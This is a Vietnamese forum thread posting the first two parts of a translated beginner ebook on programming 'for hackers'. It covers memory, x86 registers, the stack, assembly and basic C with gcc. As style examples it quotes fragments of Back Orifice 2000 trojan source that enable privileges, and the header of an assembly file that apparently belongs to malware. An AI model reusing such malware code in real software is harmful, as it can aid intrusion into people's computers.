PDA

View Full Version : Programing For Hacker


™Ác Quỷ™
27-06-2008, 02:21 PM
Một Hacker không thể không biết lập trình. Những người chỉ biết phá gọi là kẻ phá hoại. Những người chỉ biết lập trình gọi là lập trình viên. Người vừa biết lập vừa biết phá người ta gọi là Hacker :D
Programing For Hacker sẽ cho bạn biết cách lập và phá 1 cách căn bản nhất. Phần lớn nội dung của cuốn sách dùng ngôn ngữ C.
Đây là sản phẩm đầu tay của VH Stranslator Team. Các bạn có thể post bài này trên các diễn đàn khác nhưng xin đề tên VH Stranslator Team ở dưới, tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của VH Stranslator Team , đồng thờI cũng tôn trọng chính bản thân các bạn.

Trong ebook này có nhiều chỗ còn sơ sài. Nhưng tuân theo công ước Bern về quyền tác giả, VH Stranslator Team sẽ giữ nguyên bản gốc, không thêm bớt gì nhiều. Nếu có chỗ nào không hiểu các bạn cứ post câu hỏi lên để mọi người cùng giải đáp. Thêm nữa, quá trình dịch quyển ebook này có nhiều biến động, nên có nhiều sai sót. Mặc dù đã Check nhưng do thời gian quá gấp nên chưa check được toàn diện, cái này sẽ được edit lại sau.
Trong ebook có 1 vài thuật ngữ tiếng anh, xin để nguyên chính gốc vì dịch ra sẽ rất khó hiểu.
Ebook gồm 8 phần, sẽ lần lượt được post trên 4rum để các bạn thảo luận sau đó sẽ đóng gói thành ebook sau
Cuối cùng xin gửi lời cảm ơn đến toàn bộ member của VH Stranslator Team nói chung và anh m_m cùng chị tequila nói riêng đã tham gia dịch cuốn sách để cuốn sách có thể hoàn thành đúng thời hạn.

Phần I
Dịch bởi hantinhlangtu. Edit by VH Stranslator Team

Bắt Đầu :

Lập trình là gì ?Mã ( Code ) là gì ? Hacker là gì?

Có rất nhiều câu hỏi đươc đặt ra trong Forum War Industries như là :
"Có nơi nào để lấy chương trình X để xâm nhập vào máy vi tính của bạn tôi không ?"
Làm thế nào để gửi TROJAN đến 1 ai đó ?

Những câu hỏi kiểu này cho thấy , người hỏi chỉ để tâm đến các chương trình sẵn có . Và có 1 chút hiểu bít về cách hoạt động của hệ thống máy vi tính .

Họ thường đề cập đến các đoạn mã như : “script kiddies”, “skiddies” or “skidiots”
Họ cho rằng để trở thành các Hacker chỉ cần tải xuống các chương trình và chạy nó .

Theo ý kiến của riêng tôi , Hacker là người rất am hiểu về cách hoạt động của nó .
Nếu chỉ biết có khai thác hệ thống ( a script kiddie) không thôi thì chưa đủ để trở thành 1 hacker thực thụ ! Hacker can phai hieu hệ thống vào ra-bản chất của mọi vấnđề. Nếu bạn đã từng nghịch ngợm , tháo máy xén cỏ , VCR , đài cát sét , hay các thiết bị tương tự khác , thì bạn đã có ý tưởng của 1 Hacker .Sử dụng 1 đoạn ống nước để sủa ô tô gọi là "hack" .

Nếu bạn thực sự muốn trở thành 1 hacker thì bạn cần phải hiểu sự hoạt động , mọi thứ bên trong của 1 chiếc máy vi tính . Điều gì khiến nó hoạt động? Tại sao nó lại bị đổ (Crash)? Tràn bộ đệm là gì ? Làm thế nào để ra lệnh máy tính ?

Cuốn E-Book này sẽ cố gắng giúp bạn hoàn thành những việc đó !
Quy ước:

** Những bài thảo luận và ví dụ trong đây chỉ làm việc chính xác với cấu trúc x86 .
Mặc dù tương tự nhau về cấu trúc nhưng chúng khác nhau về nền tảng

**Các đoạn mã ví dụ được viết bởi C và ASM . Mục đích là dạy về C nhưng có một số đoạn mã ASM đòi hỏi cho việc giải thích những chức năng của bộ xử lý ở mức độ thấp

**Các đoạn mã chủ yếu chạy trên nền Linux nhưng có thể vẫn hoạt động dưới command line của MS window.

*** Chương trình là gì? ***

Chương trình máy tính là một loạt các câu lệnh cung cấp từng bước ra lệnh cho máy vi tính . Máy vi tính không phải là con người , không thể nào đoán trước , thêm vào hay biết được 1 bước nào đó ! Nó cần có những lời hướng dẫn ngắn gọn ( concise ) , dễ hiểu (explicit) để thực thi ngay cả đối với nhiệm vụ cơ bản nhất .

Dưới đây là ví dụ được viết bởi chương trình C . Nó có tên gọi là : “ HelloWord "

#include <stdio.h>

int main(int argc, char *argv[]){

printf(“Hello World!\n”);

}
Chúng tôi vẫn chưa đề cập sâu về vấn đề này . Chúng tôi chỉ muốn chỉ cho các bạn thấy ngôn ngữ lập trình C là gì mà thôi !

Để hiểu hơn nữa , chúng ta cần đi sâu vào cái cốt lõi của vấn đề: cái gì làm cho máy tính có thể chạy được như thế . Bạn rất muốn trở thành hacker , đúng không nào ?

*** Bộ nhớ và Base16 (cơ số 16) ***

Bộ nhớ của máy vi tính giống như một dãy các hộp đựng .Mỗi hộp này lại chứa một phần nhỏ thông tin . Trong trương hợp này , mỗi một Box tương đương với 1 Byte hay bằng 8 Bits . Điều đó có nghĩa là mỗi hộp sẽ chứa được 1 con số từ 0 đến 255. Chỉ có vậy thôi ! Nó không chứa bất cứ thứ gì khác .
Mỗi một hộp chứa 1 con số hay còn gọi là địa chỉ ( Address ) . Địa chỉ được dùng để gửi và nhận các thông tin từ các bộ nhớ . Địa chỉ được bắt đầu từ 0 và tăng dần theo quy luật cho đến bộ nhớ tối đa của máy đó . Hệ thống số đó được gọi là hexadecimal(hệ thập lục phân), viết tắt là hex. Hex is base 16.

Số Hex có dạng như sau

0 1 2 3 4 5 6 7 8 9 A B C D E F 10 11 12 13 14 15 16 17 18 19 1A …

** Một cách cơ bản với hệ thập phân thì các con số quay vòng tại 10 còn hệ thập lục phân thì các con số quay vòng tại 16. Như thế 10 trong hệ thập lục phân bằng 16 trong hệ thập phân
Thay vì nói " Hex " , chúng ta có thể dùng kí hiệu 0x . Vì thế ,, 0x0A có thể chuyển sang hệ thập phân . 0xFF = 255 . Những kí hiệu khác như : \x0A (bạn sẽ gặp nó trong (“shellcode”) hay như 0Ah (‘h’ kí hiệu cho hex).

Chúng ta tiếp tục nào !

Bạn sẽ tự hỏi rằng nếu như máy vi tính chỉ có thể chứa những hộp nhỏ bao gồm các số từ 0 đến 255 thì làm sao có thể làm phép toán 100* 100 ( 100 nhân 100 ) ?
Đúng là computer chỉ có thể chứa những số từ 0--255 (hex – FF) . Nhưng nó lại có thể kết hợp nhiều vị trí để tập hợp thành những con số lớn ! Không phải là cộng những con số lại với nhau , mà là kết hợp 2 vị trí . Dưới đây là ví dụ :

Đây là vị trí của 2 bộ nhớ :
Address 1000 1001
Value(Hex) 3F 2C

Bạn thấy rằng bộ nhớ tại đại chỉ 1000 lưu trữ giá trị của 0x3F ( số 63 ) và địa chỉ 1001 lưu giá trị của 0x2C( số 44 ) .Nếu bạn yêu cầu máy tính dính 2 điạ chỉ này lại với nhau , bạn sẽ có được 0x3F2C ( số 16172) . Bằng cách dính 2 Bytes liền nhau bạn có thể tạo ra số nằm trong khoảng 0 – 65535 (0xFFFF) . Nếu dính liền 4 Bytes thì chúng ta được 0 – 4294967295 (0xFFFFFFFF)
(Ví dụ cuối cùng này là rất quan trọng. Bốn bytes được đưa vào với nhau tạo thành một word trong cấu trúc x86. Ở những bộ sử lý (processors) khác thì có cỡ work khác . Hệ thống của chúng tôi sử dụng cỡ word(size word) là 32 bit hay 4bytes( vì thế cấu trúc của nó là 4 32 bit )
(lưu ý: word: từ, một đơn vị thông tin gồm các bit hoặc các byte được lập lên như là một thực thể. Và có thể được lưu trữ trong 1 vị trí. Trong các chương trình xử lý từ, word được định nghĩa là sự bao gồm một khoảng trống, nếu có, ở cuối của một chuỗi các ký tự. Ở đây cứ nên để nguyên gốc hay hơn nên tôi không dịch mà chỉ giải thích cho các bạn hiểu.)

Các giá trị đc lưu trong bộ nhớ cung cấp 1 con số . Bạn có thẻ chứa các thông tin về số . Ban cũng có thể chứa địa chỉ trong bộ nhớ để đề cập đến vị trí bộ nhớ khác . Phương thức này được gọi là : pointer(con trỏ) . 1 pointer không chứa dữ liệu mà nó trỏ tới một nơi chứa dữ liệu
. Đây là 1 khái niệm vô cùng quan trọng trong chương trình . Quan niệm về việc trỏ tới bộ nhớ là một tư tưởng lập trình cơ bản . Đây là ví dụ :

Address 3AF4 3AF5
Value D2 A4

D2A4
Address D2A4
Value 1C

Trong ví dụ trên , 2 địa chỉ 3AF4 và 3AF5 kết hợp lại cho chúng ta địa chỉ D2A4 chứa giá trị 1C . Vì vậy chúng ta có thể để địa chỉ D2A4 hoặc ra lệnh cho máy tính biết giá trị ta muốn lưu trữ tại Box Poited là 3AF4 & 5 . Hãy cố gắng nhớ đến khái niệm này bởi nó rất quan trọng . In the real world of x86, the pointer is one word in size, but the implementation is the same (trong thế giới thực của x86, con trỏ là một word trong kích thước nhưng thực hiện là như nhau.). Sang tới phần sau , Poiter size (cỡ của con trỏ) có thể không quan trọng hoạc không được nhắc đến nhưng khái niệm này vẫn rất quan trọng .
Tôi lưu ý các bạn thêm 1 điểm rằng, trước khi bắt tay vào học lập trình các bạn cần phải biết được cách đổi các hệ cơ số: 2;8;10 và 16. Vì không có thời gian và đây là bản dịch chứ không phải bài viết nên các bạn tự tìm hiểu nhé. Nếu có thắc mắc cứ post câu hỏi.

***Bộ xử lí trung tâm : The Processor (CPU)***

The Processor là trái tim của hệ thống ! Nó được thiết kế để làm những công việc :

Lấy yêu cầu từ bộ nhớ ( Fetch an instruction from memory)
Xử lý các yêu cầu đó .
Chương trình máy tính được lưu trữ trong bộ nhớ .
Ram được so sánh là chậm chạp trong việc làm thế nào để bộ xử lý mới có thể làm việc nhanh . Processor cần bộ nhớ riêng của nó để lưu lại các thông tin mà máy đang làm việc . Bộ nhớ đó được gọi là Thanh ghi.
Về phương diện vật lí thì thanh ghi nằm ngay trên bộ xử lý vì thế nó không cần thiết phải lấy bất cứ thứ gì từ trong RAM . Bộ xử lý cũng sử dụng các khoảng trống của bộ nhớ gọi là Stack (ngăn xếp). Chúng ta sẽ nói về cái này vào phần sau !

Có vô số thanh ghi trong x86 . Bây giờ chúng ta cùng định nghĩa 6 Thanh ghi :
EAX, EBX, ECX, ESP, EBP, EIP
Mỗi một thanh ghi đều bắt đầu bằng chữ cái "E" .Chỉ 32 Bít hay độ dài của 1 kí tự thanh ghi (Trước Intel 386, thanh ghi thường là 16 bit).

3 register đầu tiên EAX, EBX, and ECX được gọi là General Purpose Registers.
Chúng được sử dụng để lưu trữ và phục hồi, thêm , bớt và đổi trị số

3 register cuối cùng ESP, EBP and EIP gọi là Indexes và Pointers.Chúng giúp cho việc điều khiển sự hoạt động của các chương trình và memory referencing (tham chiếu bộ nhớ ).Đó là những thanh ghi rất quan trọng để hiểu đối với 1 hacker , và nó là trái tim của lỗi tràn bộ đệm (buffer overflow ) .Chúng ta sẽ nói về cái này sau

Ngăn xếp (stack) là một vùng của bộ nhớ được sử dụng bởi bộ sử lý có tính chất vào trước ra sau.
Hãy tưởng tượng ra 1 đống giấy trên bàn . Bạn có thể thêm hoặc bớt đi những tờ giấy . Tờ giấy mà bạn thêm vào đầu tiên là tờ cuối cùng ( nằm ở phía dưới ) . Nói theo ngôn ngữ máy tính là bạn Push (đưa vào) hay Pop (lấy ra) các giá trị . Processor có các register để chỉ các giá trị trên đầu . Đó là : ESP . và bạn có thể đoán ra , SP viết tắt cho stack pointer EBP cũng dược sử dụng trong việc trỏ tới ngăn xếp nhưng được sử dụng một cách cục bộ trong các hàm (functions). Về mặt vật lí , trong bộ nhớ , Stack băt đầu từ điểm cố định và bắt đầu giảm xuống . Ví dụ :
Nếu stack bắt đầu từ điểm có địa chỉ là 1000 và 4 bytes được push vào stack , thì điểm stack sẽ bắt đầu tiếp từ địa chỉ : 996 ( 1000-4) .

Processor lấy và thực thi các mệnh lệnh .Những lệnh đó nguồn gốc xuất phát từ những con số và được lưu trữ trong bộ nhó .Vậy làm thế nào để nó biết được yêu cầu nào sẽ được thực thi tiếp theo ?

EIP register (Instruction Pointer) trỏ tới bộ nhớ sẽ xác định yêu cầu tiếp theo đó .Register chỉ có đọc (read-only), vì thế đừng nhảy vội ! .
Nhưng bạn có thể gián tiếp thay đổi EIP đến một đia chỉ khác .: đây là chìa khóa trong việc khai thác lỗi tràn bộ đệm)

Ngôn ngữ của x86 là mã máy ( machine code). Ngôn ngữ mà con người có thể đọc được là hợp ngữ ( assembely). Chúng ta vẫn chưa cần thiêt để đi sâu vào đây . Tôi chỉ nêu ví dụ :

.file "hello.c"
.section .rodata
.LC0:
.string "Hello World.\n"
.text

.globl main
.type main,@function
main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
andl $-16, %esp
movl $0, %eax
subl %eax, %esp
subl $12, %esp
pushl $.LC0
call printf
addl $16, %esp
leave
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) 3.2.2 20030222 (Red
Hat Linux 3.2.2-5)"
Đây là chương trình " Hello Word " .Nó được cung cấp bơi chương trình biên soạn GNU ( GNU compiler --sẽ nói sau ) .Chúng ta không thảo luận sâu về hợp ngữ nhưng sẽ nói chút ít về đoạn mã trên .

Dòng "MAIN " cho thấy bắt đầu chương trình.Nhìn vào phần : “.LC0" . Đoạn code ASM ra lệnh cho máy tính lưu trữ giá trị “Hello World\n” vào bộ nhớ ".LC0" .Nghe có vẻ quen quen nhỉ ^_^ . "LC0" nhắc đến 1 điểm trong bộ nhớ nơi string bắt đầu Nnó là một biểu tượng đặc biệt mà trỏ tới điểm khởi đầu trong đoạn text của bạn trong bộ nhớ.
Vì vậy thay vì phải gửi các String này mỗi khi bạn cần đến nó , thì bạn chỉ phải gửi điểm bắt đầu của String trong bộ nhớ. quá trình này hiệu quả hơn nhiều !

Cũng trong dòng ' MAIN"đó có nói đến 1 số Register mà chúng tôi đã nhắc đến trươc đó :

movl %esp, %ebp

Dòng lệnh này di chuyển (movl ,’l’ có nghĩa là chiều dài của word...) nội dung của thanh ghi ESP tới thanh ghi EBP. Nó di duyển tất cả những word (đừng quên là 1 word gồm 4 byte ) từ cái này sang cái kia

Dòng lệnh trước đó chúng ta cũng nên quan tâm một tí

pushl %ebp

Dòng lệnh này sẽ đẩy 1 kí tự ( 4 bytes) từ Register EBP vào Stack (ngăn xếp) .
The push command automatically adjusts ESP.
(lệnh push tự động điều chỉnh ESP)

subl $8, %esp

subl có nghĩa là trừ ( subtract) .Dòng lệnh này sẽ trừ 8 từ ESP . Vì sao ? Chúng ta sẽ nói sau . Nhưng đây là cách mà hợp ngữ làm để tạo thêm khoảng trống cho các biến . Đó là các khoảng trống bộ nhó mà Stack sẽ dùng sau này .Trong trương hợp này , nó sẽ tạo khoảng trống cho 2 từ hay 8 bytes .

Hãy nhìn lại các khái niệm ! bạn không cần thiêt phải hiểu các đoạn mã trên bây giờ . Điều quan trọng là bạn hiểu đựowc những khái niệm đó .

*** Ngôn ngữ lập trình ***

Ngôn ngữ lập trình rất đa dạng . Nhưng nói chung chúng được chia ra làm 3 loai:

Mã Máy ( machine code ) : đây là ngôn ngữ tự nhiện của bộ vi xử lí . Không dành cho con người . Nếu bạn thấy được cảnh những lập trình viên trong thập kỉ 60 lập trình bằng cách **c lỗ thì bạn sẽ hiểu

Chương trình được tạo ra bởi các mã số (code number) trên các đục lỗ (punch cards) và cung cấp chúng cho người đọc tại cùng 1 thời điểm.
Hợp ngữ ( assembly ) : con người có thể hiểu được mã máy . Hợp ngữ thay thế các đoạn code chỉ có riêng số bằng các đoạn code bằng chữ ví dụ như : "mov" phía trên . Bạn có thể trực tiếp tiếp xúc với register và bộ nhớ .Có 1 số thứ( không phải là tất cả )chỉ có thể được hoàn thành bằng hợp ngữ Assembly giúp cho con người nói chuyện “dễ thở” với máy tính hơn 1 chút bằng việc cho phép con người dùng 1 số lệnh (là những từ tiếng Anh đơn giản, vắn tắt), các toán tử, 1 số cấu trúc lặp, di chuyển trên vùng ghi mã chương trình trong bộ nhớ để thực thi. (ngôn ngữ này làm việc trực tiếp với các thanh ghi và bộ nhớ rất nhiều, bạn phải nắm rỏ mô hình stack của bộ nhớ...)..

Ngôn ngữ lập trình bậc cao ( High Level Languages) :
Nhóm này bao gồm rất nhiều ngôn ngữ ví như : C, C++ , Visual basic ,....
Ngôn ngữ này được sử dụng 1 cách thông dụng nhất hiện nay Bởi những lợi ích mà nó đem lại . Bạn có thể nhìn lại 2 đoạn mã bên trên . 1 cái là C , và cái kia là hợp ngũ. Bạn có thê thấy :C nói rất rõ ràng Ví dụ : printf(“Hello World\n”) Còn Hợp ngữ thì lại không làm được điều đó .

Ngôn ngữ lập trình cấp cao lại được chia ra làm 2 nhóm : Thông Dịch và biên dịch ( interpreted and compiled ) .Ngôn ngữ thông dich như Perl, dịch từng mệnh lệnh trong 1 thời gian xác định .Các khúc mắc cỏ vẻ như dễ dàng hơn với Ngôn ngữ thông dich. Lưu ý rằng máy tính để chạy chương trình của bạn phải có một trình thông dịch được cài đặt. Ví dụ : bạn không chạy được các chương trình Perl nếu như bạn chưa cài đặt Perl tại máy đó .
Ngôn ngữ biên soạn thì không bị cái giới hạn trên . Nó sẽ thực thi các mệnh lênh cùng 1 lúc ..Một lần thực thi là chung cho tất cả. Lệnh thực thi này có thể chạy với bất kể máy tính nào mà không giới hạn việc phải có một trình thông dịch được cài đặt. Trình biên dich quy định rất chặt chẽ những gì mà nó chó phép

Ngôn ngữ mà chúng ta sẽ học ở đây là C . Ngôn ngữ biên soạn . Để có thể đi tiếp nhưng phần sau . CHúng ta cần 1 trình biên soạn .Ví dụ trên tôi dùng trình biên soạn GNU C .
Câu hỏi cuối chương :

Register là gi ? Register nào nói cho bộ vi xử lí biết địa chỉ của mệnh lệnh tiếp theo sẽ được thực thi ?
Số 24 được chuyển sang HEX là gi ? 0x2E chuyển sang hệ thập phân là gi ?

Poiter là gi ?
Làm thế nào để máy tính diễn tả những số lớn hơn 255 ?
Word là gi ? độ dài của 1 Word trong cấu trúc X86 là gi ?

Hết Phần I

Phần tới : Bắt đầu với C

™Ác Quỷ™
27-06-2008, 02:37 PM
Phần II
--------------------------------------------

***Mục Đích***

Kết thúc chương này bạn có khả năng viết ,biên dịch và thi hành ngôn ngữ C.Trọng tâm là ngôn ngữ C nhưng biết ngôn ngữ ASM (assembly language) sẽ giúp ích cho sự khởi đầu hoàn hảo.
Các mục cần xem xét:
Hãy đảm bảo rằng bạn hiểu các thuật ngữ sau:
• Address
• Hex
• Word
• Register
• Stack
• Execution
Nếu bạn chưa chắc các thuật ngữ hãy xem lại PhầnI ngay.

Program:
1. A magic spell cast over a computer allowing it to turn one's input into error messages.
2. An exercise in experimental epistemology.
3. A form of art, ostensibly intended for the instruction of computers, which is nevertheless almost inevitably a failure if other programmers can't understand it.
From Jargon File
===============
Cách sử dụng gcc trong Linux
Author : maybe , an old member of VH
1. Giới thiệu:

Hiện tại rất co 'nhiều bạn đi tìm C Builder hay mua nguyên đĩa Visual C++ để chỉ compile 1 cái chương trình nhỏ . Bạn đã quên đi một chương trình rất hay và hoàn toàn miễn fí ( bạn không bị cái lương tâm sún răng của mình cắn rứt ) đó là gcc ( GNU project C and C++ Compiler ). gcc có mặt trong tất cả các phiên bản Linux.

2. Version - Phiên bản:
Hiện nay phiên bản cuối cùng là 2.96 có mặt mặc định trong tất cả các Linux Dis, gcc 3.0 đang trên đường ...

3. Sử dụng:
sử dụng gcc theo syntax:

CODE% gcc [ tùy chọn | tên file ] ...

Giả sử bạn có 1 file myfile.c khi bạn đánh :

% gcc myfile.c

Trong thư mục của bạn sẽ có thêm file a.out đó là file output mặc định của gcc. Lúc này bạn đã có thể run chương trình bằng :

% ./a.out

Nhưng nếu bạn compile file tiiếp theo cũng như trên thì file a.out của bạn sẽ bị ghi đè bằng file thứ 2.

Để khắc phục bạn có thể sử dụng tùy chọn -o để đặt tên file out put

% gcc -o myout myfile.c

Lúc đó thay vì có a.out bạn sẽ có myout

Chúng ta không chỉ dừng lại tại đây

Khi bạn compile 1 program, bạn sẽ có những errors nhỏ nhưng gcc sẽ thay bạn sửa chửa những lỗi này (trừ khi đó là lỗi lớn). Nhưng trên thực tế' mình phải tự sửa các lỗi này để chương trình sau khi compile là bug-free Bạn sẽ thêm 1 tùy chọn đ1o là -Wall (viết tắc của Warning All - Thông báo tất cả)

% gcc -Wall -o myout myfile.c

Và lúc này đưa vào thông báo lỗi bạn sẽ có thể sửa lỗi của mình.

Nhưng với những người lập trình C, có 1 lỗi bất trị đó là Sementation Fault, cho dù bạn compile với gcc không có lỗi nhưng khi chạy chương trình bạn được thông báo lỗi này, lý do ?? Tại vì gcc chỉ check lỗi của syntax ( cú pháp ) chứ không check lỗi chương trinh. Lúc này bạn sẽ phải nhờ 1 người anh em khác, dó là gdb ( The GNU Debugger ) để tìm lỗi run-time (TW sẽ viết bài về gdb sau). Muốn gdb hoạt động, bạn phải thêm 1 tùy chọ đó là -g

% gcc -Wall -g -o myout myfile.c

Lúc này trong myout sẽ có thêm những đoạn mã dùng cho gdb. Khi bạn đã sửa xong các lỗi và release software, bạn nên compile lại source code và bỏ tùy chọn -g , điều này sẽ dzúp cho chương trình nhỏ hơn và không ai có thể xem source code của bạn .

Trên đây chỉ là những cái cơ bản của gcc , muốn biết thêm về gcc một cách đơn giản nhất là

% man gcc

Bài viết là của maybe, nó ko có trong bản gốc nhưng nó rất cần cho bài viết nên tôi mạn phép bổ sung.

Oke, chúng ta tiếp tục nào

***Cú Pháp***
Như bất kì ngôn ngữ nào (máy tính ,nói,viết ...) C có cú pháp riêng. Cú pháp bao gồm từ, định dạng và phép chấm câu như ngôn ngữ nói .
Hãy xem 1 ví dụ cơ bản:
* Hello World Program */
#include <stdio.h>
main(){
printf("Hello World!\n");
}

Ví dụ trên có 1 số vấn đề ta cần phân tích.
Dòng đầu tiên bắt đầu bằng /* . Ký tự này chỉ ra sự bắt đầu của 1 chú thích. Mọi thứ sau ký hiệu này đươc xem là 1 chú thích cho đến khi ký tự kết thúc chú thích xuất hiện. */ . Ký hiệu */ cuối dòng báo hiệu sự kết thúc chú thích.
Ngoài ra bạn có thể chú thích bằng kí hiệu // sau kí hiệu này thì 1 dòng đó trở thành chú thích
Chú thích sẽ không được biên dịch và hoàn toàn không ảnh hưởng đến chương trình.Chú thích chỉ thật sự cần cho người lập trình sau này.Chú thích đầy đủ sẽ làm cho việc dọc code dễ dàng hơn . Hãy xem code trong linux bạn sẽ cãm thấy nhiều chú thích rất vui Đây là đoạn mã trong kernel 2.6 của linux
arch/sparc/kernel/sunos_ioctl.c: /* Binary compatibility is good
American knowhow "Alert"in' up. */
arch/mips/kernel/irixioctl.c: * irixioctl.c: A "Alert"ing mess...
arch/sparc64/kernel/traps.c: /* Why the "Alert" did they have
to change this? */
drivers/char/watchdog/shwdt.c: /* brain-damage, it's managed to "Alert"
things up one step further..
drivers/ide/pci/cmd640.c: /* These chips are basically "Alert"ed by
design, and getting this driver…
Tiếp theo là dòng
#include <stdio.h>
Ký tự # chỉ thị yêu cầu biên dịch .Dòng này sẽ không tạo ra 1 code thi hành .Nó là 1 chỉ dẫn đặc biệt cho trình biên dịch là chúng ta cần thư viện bên ngoài : “stdio.h” .Thư viện stdio.h chứa hàm ‘printf’ mà ta sử dụng trong chương trình.Nếu ta không ‘include’thư viện này thì trình biên dịch không biết ‘printf’ có nghĩa là gì .chúng ta sẽ gặp nhiều inludes trong các code sau này.
Tiếp theo là
Main(){
Có 2 thành phần trong đoạn code này . Hàm main là điểm mà tất cả các chương trình C bắt đầu thực hiện. Nó không phụ thuộc vào vị trí của hàm này (ở đầu, cuối hay ở giữa của mã nguồn) mà nội dung của nó luôn được thực hiện đầu tiên khi chương trình bắt đầu. Thêm vào đó, do nguyên nhân nói trên, mọi chương trình C đều phải tồn tại một hàm main. Tiếp đến là kí hiệu { đươc dùng trong C với ý nghĩa bao quanh nội dung của hàm và kết thúc bằng }Khi bạn đọc code của ngôn ngữ C nếu thấy main() { thì biết hàm main bắt đầu tại đây và thấy } thì biết hàm kết thúc .
Tiếp theo
printf(“Hello World\n”);
Đó chính là cài mà chương trình cần làm: in dòng chữ Hello World ra màn hình. Bạn có thể ngạc nhiên tại sao có \n trong đó .Đó là kí tự định dạng với nghĩa là xuống hàng.Khi biên dịch chương trình ta sẽ thấy kết quả.
Chú ý cuối mỗi dòng là dấu chấm phẩy ";" Kí tự này được dùng để kết thúc một lệnh và bắt buộc phải có sau mỗi lệnh trong chương trình C của bạn (một trong những lỗi phổ biến nhất của những lập trình viên C là quên mất dấu chấm phẩy).
Nếu chú ý kĩ bạn sẽ thấy các dòng có chỗ thụt vào .Tại sao ? Đó là 1 phong cách hay của C . Nó tạo thành từng khối giúp cho bạn dễ đọc code hơn
Cuối cùng là kí hiệu kết thúc } Báo hiệu kết thuć chương trình.
Đó là tất cả.Bây giờ ta thử biên dịch và chạy chương trình .Sau khi nhập đoạn mã trên bằng chương trình text edictor bất kì mà bạn thích hay save với cái tên ‘test.c’ .C là phần mở rộng cho biết là mã nguồn của C

Để biên dịch ta sài GNU C compiler, gcc
Lệnh : gcc test.c -o test
Trình biên dịch gcc cần tham số để biên dịch tùy chong –o yêu cầu trình dịch tạo file chương trình thục thi .Nếu không có –o thì chương trinh sẽ sinh ra file thực thi là a.out .Cấp cho file quyền chạy (x) ( chú ý bạn đang sài linux) và chay chương trinh
./test
Sau là kết quả hiên trên màn hình
-sh-2.05b$ gcc test.c -o test
-sh-2.05b$ chmod o+x test
-sh-2.05b$ ./test
Hello World!
-sh-2.05b$
Xong .Chúc mừng chương trình đầu tay.
Hãy xem lại những gì đã học và xem mã nguồn của Remote Administration Suite: Back Orifice 2k:
Disclaimer:
The following is C code. The example provided is to demonstrate form only.

Don’t let your head explode if you don’t understand what it does.

/* Back Orifice 2000 - Remote Administration Suite
Copyright (C) 1999, Cult Of The Dead Cow
The author of this program may be contacted at dildog@l0pht.com. */
// ************************************************
// BO2K cDc
// Back Orifice 2000
// Written By DilDog and Sir Dystic
// Copyright (C) 1999, Cult of the Dead Cow
// Special thanks to L0pht Heavy Industries, Inc.
// ************************************************
#include<windows.h>
#include<main.h>
#include<bo_debug.h>
#include<functions.h>
#include<osversion.h>
#include<bocomreg.h>
#include<commandloop.h>
#include<dll_load.h>
#include<config.h>
#include<pviewer.h>
#include<process_hop.h>
#ifdef NDEBUG
//#define HOOK_PROCESS5684818,5683735,5684300
//#define HIDE_COPY
#endif
HMODULE g_module=NULL;
HANDLE g_hfm=NULL;
DWORD g_dwThreadID=0;
BOOL g_bRestart=FALSE;
char g_svRestartProcess[64];
BOOL g_bEradicate=FALSE;
// --------------- Stealth options ----------------

char g_svSubOptions[]="<**CFG**>BO2k Sub Options\0"
// Back Orifice Thread Entry Point
DWORD WINAPI EntryPoint(LPVOID lpParameter)
{
startofentrypoint:;
g_bRestart=FALSE;
g_module=(HMODULE)lpParameter;
// Load up other DLLs just to make sure we have them (we're acting as a loader here).
LoadLibrary("kernel32.dll");
LoadLibrary("user32.dll");
LoadLibrary("gdi32.dll");
LoadLibrary("winspool.dll");
LoadLibrary("advapi32.dll");
LoadLibrary("shell32.dll");
LoadLibrary("ole32.dll");
LoadLibrary("oleaut32.dll");
LoadLibrary("wsock32.dll");
// Create useless window class
WNDCLASS wndclass;
wndclass.style = 0;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = g_module;
wndclass.hIcon = NULL;
wndclass.hCursor = NULL;
wndclass.hbrBackground = NULL;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "WSCLAS";
RegisterClass(&wndclass);

// Determine OS version
GetOSVersion();

// Use Dynamic Libraries
InitDynamicLibraries();

// Enable permissions on Windows NT
if(g_bIsWinNT) {
HANDLE tok;
if(pOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVLEGES,&tok)) {
LUID luid;
TOKEN_PRIVILEGES tp;
pLookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);
tp.PrivilegeCount=1;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid=luid;
pAdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);
pLookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid);
tp.PrivilegeCount=1;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid=luid;
pAdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);
CloseHandle(tok);
}
}
Có đầy đủ mọi thứ mà ta đã vừa học .Hãy nhìn includes, chú thích , các dấu {},;.Hãy xem lại nhưng gì mình đã học.
Cấu trúc dúng và hình thức trình bài code là rất quan trọng.Nếu không thì code của bạn sẽ lung tung không thể nào đọc được .Bạn có thể nghĩ :” I’m an uber leet haxor who doesn’t need all that form and stuff”đễ tra lời hay xem mã nguồn viết bằng ASM
Chú ý : Cận thân bạn đang xem mã nguồn viết bằng ASM (assembly code-hợp ngữ) đừng cố hiểu nó mà hãy xem hình thức trình bày
; #########################################################################
.486
.model flat, stdcall
option casemap :none; case sensitive
; #########################################################################
.nolist
include kernel32.inc
include windows.inc
include user32.inc
include wsock32.inc
include ole32.inc
include shlwapi.inc
include oaidl.inc
include wininet.inc
include advapi32.inc
include urlmon.inc
include shell32.inc
include gdi32.inc
.list
includelib kernel32.lib
includelib user32.lib
includelib wsock32.lib
includelib ole32.lib
includelib shlwapi.lib
includelib wininet.lib
includelib advapi32.lib
includelib urlmon.lib
includelib shell32.lib
includelib gdi32.lib
; #########################################################################
szText MACRO Name, Text:VARARG
LOCAL lbl
jmp lbl
Name db Text,0
lbl:
ENDM
m2m MACRO M1, M2
push M2
pop M1
ENDM
mNextListEntry MACRO ML
cld
xor eax, eax
or ecx, -1
repnz scasb
cmp byte ptr[edi], 0
jnz ML
ENDM
.data
EncryptStart2 dw "$$", "$$"
.code
EncryptStart dw "$$", "$$"
include Config.inc
include Src\SrcFile.inc
